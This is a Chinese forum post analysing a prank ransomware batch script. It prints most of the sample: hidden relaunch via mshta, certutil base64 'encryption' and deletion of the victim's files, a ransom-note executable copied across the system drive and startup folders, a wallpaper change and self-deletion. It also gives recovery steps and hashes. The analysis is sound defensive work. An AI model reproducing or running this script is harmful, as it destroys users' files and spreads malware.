首页
论坛
专栏
课程

[原创]CXK恶作剧勒索2.0分析

2019-11-3 16:23 1100

[原创]CXK恶作剧勒索2.0分析

2019-11-3 16:23
1100

1 摘要

勒索软件的流行程度近几年来广为人知,于是就有人喜欢模仿,这种炫技行为真的是用错了地方。该样本之前1.0版本已分析过,而本次分析的是2.0版本,发现新增与改变了一些行为。

2 起因

最近,在日常监测恶意软件的过程中又发现了恶作剧勒索,之后作者本人竟然留了评论(文末截图),加上之前已简单分析过,这次便再进行分析,看看是否有相应的不同,本文不鼓励以此编写类似的勒索脚本。

3 分析环境

3.1 样本信息

 文件名  CXK-NMSL V2.0.bat
 sha256 cd9a15f3522485428e5b1a2582caa919a1e7d9c5d79da6a23175114bfd4a8b6
 sha1 b835aa12e2e07493fb8c9ca551316b6677066859  
 md5  eb7e34fea310223a99e4f2ee2dd12fa9






  
3.2 本地工具
 操作系统 Win10_x64_pro、Win7_x64_sp1_pro
 虚拟机软件  VMware15 pro
 文本编辑工具  notepad++




4 静态分析

4.1 VT检测

检测结果如下图,很多引擎都标记为勒索,木马:



4.2 提交时间


目前只能判断该文件是10月份出现的


4.3 批处理内容

批处理代码如下:

@echo off
if "%1"=="h" goto begin 
start mshta vbscript:createobject("wscript.shell").run("""%~nx0"" h",0)(window.close)&&exit 
:begin
REM

ren *.* *.*.cxkdata&ren "CXK-NMSL V2.0.bat.cxkdata" "CXK-NMSL V2.0.bat"

for %%a in (*.cxkdata) do certutil -encode "%%~a" "%%~na.cxkdata.cxk_nmsl"

del /s /q *.cxkdata

echo TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>x
echo AAAAuAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v>>x
echo ZGUuDQ0KJAAAAAAAAACPivnby+uXiMvrl4jL65eISPeZiMrrl4ii9J6IyuuXiCL0mojK65eIUmlj>>x
……
……
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>x
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>x
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA>>x
echo AAAAAAAAAAAAAAAAAAAAAAA=>>x

certutil -decode x CXK-NMSL-README.txt.exe >NUL 2>NUL
del x >NUL 2>NUL

for /r "%SystemDrive%\" /d %%p in (.) do echo Copy to "%%p" & copy CXK-NMSL-README.txt.exe "%%p"

echo UEsDBBQAAAAIAJN93k50tKHstlgGANauBgANAAAAd2FsbHBhcGVyLmpwZ+y6d1STX7cuGkRFiiC9>x
echo ExUQ6Sq9RkVAQERUeokIiIChIy0QESnSIiAgNQIiSItIbwnSERDpEHrvkFADaSf+vn3uGfvc88e9>>x
echo 37h73H/2SmZYI3nfteaz5pzPmvNlUcYpc4BL+jp6OgAaGhrAM+oLQJkHvND2d34BABgaAiQAAMAF>>x
echo wHkaNgAttUdDfQFoaQDn/ukDAKa0tP/8/SsA40v/6v/9MGYFnP3X98ytxmz/q//3OgBNxGcAoBxO>>x
echo mQRoAc7Q0Px9/0ejPUf7t50/e5b2HN15Orq/coGekf7CBYYLdHQMFxkYGJmojY6emeUiE/Pf/t9B>>x
……
……
echo 2bGDuO35unaup8QX32WPcq/d6V4Z8aPiDNawuqtJzvx7frU8wHlfx/8AiYlnBe/vFwrHknr8pr88>>x
echo /wBq746KuqSJ56ndET94+rV7H+1D8X71L3Uo1kmEauQBn/ZPvX54/tEeNLzVfE7bppP9Xjk+7Vzz>>x
echo qXdgMb4meLxr12zGTd8xxg1x6HdI3+FUTdyX8rbmb8TVuL5Y6kD/2VBLAQIUABQAAAAIAJN93k50>>x
echo tKHstlgGANauBgANAAAAAAAAAAAAAAC2gQAAAAB3YWxscGFwZXIuanBnUEsFBgAAAAABAAEAOwAA>>x
echo AOFYBgAAAA==>>x

echo f=new ActiveXObject(^"Scripting.FileSystemObject^");i=f.getFile(^"x^").openAsTextStream();>x.js
echo x=new ActiveXObject(^"MSXml2.DOMDocument^").createElement(^"Base64Data^");x.dataType=^"bin.base64^";>>x.js
echo x.text=i.readAll();o=new ActiveXObject(^"ADODB.Stream^");o.type=1;o.open();o.write(x.nodeTypedValue);>>x.js
echo z=f.getAbsolutePathName(^"z.zip^");o.saveToFile(z);s=new ActiveXObject(^"Shell.Application^");>>x.js
echo s.namespace(26).copyHere(s.namespace(z).items());o.close();i.close();>>x.js

set v="%appdata%\wallpaper.jpg"
del %v% >NUL 2>NUL
cscript x.js >NUL 2>NUL
reg add "hkcu\control panel\desktop" /v Wallpaper /d "%v%" /f
RunDll32.exe USER32.DLL,UpdatePerUserSystemParameters
del x.js >NUL 2>NUL
del z.zip >NUL 2>NUL
del x >NUL 2>NUL

set bgm="%temp%\ģ̫À.mp3"
del %bgm% >NUL 2>NUL
certutil -decode "%~f0" %bgm% >NUL 2>NUL
start "" %bgm%

goto:1
-----BEGIN CERTIFICATE-----
//qRbMKoAAADf2U3BipgADcsh8DAnABNTZUjuFUAAVcX5HcEoADwbBzycAP4CZB5
NkT/Qcw/zQrkwTn/k2ZEQGUFkf/nhchOjjWZf/5EBlxZZ8G8ZCk5//+RQWsR+M4J
wHPHMFaDg///8VoLgPB8YfOSZBESLgZAA2w/////EGBigWSF1YhYDM4BiAHUoarF
LjbC6AdJ8H//n///7//bPf//2//9le3//90YSCpMaDRv///G43cH5OWPjd/////z
……
……
eC15Wc5LeYXEj2r/7WV2j60mNv7e1y1fft5CZcZiKpZvduBLpGmRb0hzsmPzkbkP
BV+RJo3w3ruT7VBDgXahRFQZNMP6hed9tbc6yllIYaa5TP3LJIMg4lhqpIxHhdJ/
627eqexMfleG9vkUKkw9aOcvaUZDx7ybtDujNEKOi8xPLzVz/uahqmRQ9vPPEBwS
DFF0kbUgIhhxltJAtQShYTuQmXgn7/7ben///l///Qffy8v8Xaa3M5So1pPPnq8y
t762Vs5iGpUn2TNeXStOJ9bWHbigzbRBAnJKN69OtNBjEDy9CjXs8kMWBrU=
-----END CERTIFICATE-----

:1

del %0

4.4 脚本分析

开头依然是以最小化方式执行批处理文件



接着往下是将文件重命名为.cxkdata后缀(只影响该文件所在的目录),会将CXK-NMSL V2.0.bat.cxkdata给还原,然后将.cxkdata后缀的文件直接使用base64编码后重新改名末尾添加.cxk_nmsl后缀,编码完成后删除.cxkdata后缀的文件(注:这里为了分析,已对批处理脚本内容做了小更改,注释了所有del删除命令)。



上图的一大段的echo指令,最后会生成勒索信内容,取名为CXK-NMSL-README.txt.exe,新增了将勒索信给复制到系统相应目录(包含自启动目录)的行为,包含网络共享位置(单单从行为看,确实与大部分勒索软件是一致的),如下:





又出现一大段 echo 指令,这些内容提取后,生成相应的 js 文件对其进行解压,由于在查看时末尾发现"=="符号,自然而然就直接对其进行 base64 解码,文件以 PK 开头,发现是一个 zip 压缩包,本地对其解压后发现是一张图片(与 1.0 版本步骤一致,图片也没变)。



再往下与之前 1.0 版本一致,依然是解压图片,更换用户的桌面壁纸,尝试开启音乐。


再接着往下,是已 base64 编码后的内容,运行期间脚本这里已经对其进行了跳过,未对其做处理,但最后 certutil -decode "%~f0" %bgm% >NUL 2>NUL 会使用类似解码 certutil -decode "CXK-NMSL V2.0.bat" CXK.mp3可得到一个 mp3 文件,正常的话可以播放音乐。


最后是批处理运行中,生成的中间文件。


5 动态分析

5.1 本地演示

样本来源于国外,运行后效果如下图:




同样,在系统重启后也会弹出相应的勒索信息框。

5.2流程图



6 查杀

脚本将文件重命名为.cxkdata 后缀(只影响该脚本文件所在的目录),会将 CXK-NMSL V2.0.bat.cxkdata 给还原,然后将.cxkdata 后缀的文件直接使用 base64 编码后重新改名末尾添加.cxk_nmsl 后缀,编码完成后删除.cxkdata 后缀的文件,所以解密文件如下,直接使用 decode 解码.cxk_nmsl 后缀文件,之后通过搜索全局文件 CXK-NMSL-README.txt.exe,删除释放的勒索信,最后自行修改壁纸即可。


7 总结

虽然该文件使用 base64 编码文件,造成一种加密的假象,但传播这类文件确实不应该,并且出现了 2.0 版本,有一种越挫越勇的行为。但换个角度想想,如果作为普通用户如果中了该勒索,对用户的使用肯定会受到影响,笔者认为技术不应该用在这类地方。最后从勒索信中,可以访问到作者的主页,希望以后不会再有 3.0 版本了。




7.1 IOC

MD5:eb7e34fea310223a99e4f2ee2dd12fa9
SHA-1:b835aa12e2e07493fb8c9ca551316b6677066859
SHA-256:fcd9a15f3522485428e5b1a2582caa919a1e7d9c5d79da6a23175114bfd4a8b6

8 参考



[公告]安全测试和项目外包请将项目需求发到看雪企服平台:https://qifu.kanxue.com

最后于 2019-11-3 16:25 被jishuzhain编辑 ,原因: 排版
上传的附件:
最新回复 (5)
Editor 2019-11-4 10:47
2
0
看到标题就点进来了,哈哈,没想到是你
Lenmon-NF 2019-11-4 14:05
3
0
秀啊!
hzqst 3 2019-11-4 15:47
4
0
该账号封禁中太草
蚯蚓降龙 2019-11-4 21:10
5
0
这是在作死啊,要么就干彻底点要么就不要做。。。
bjtwokeight 2019-11-5 08:45
6
0
hzqst 该账号封禁中太草
以后看哪个人不爽, 就写个病毒, 放对方的微信号, 支付宝账号, B站号, 各种号, 直接给他搞死。
游客
登录 | 注册 方可回帖
返回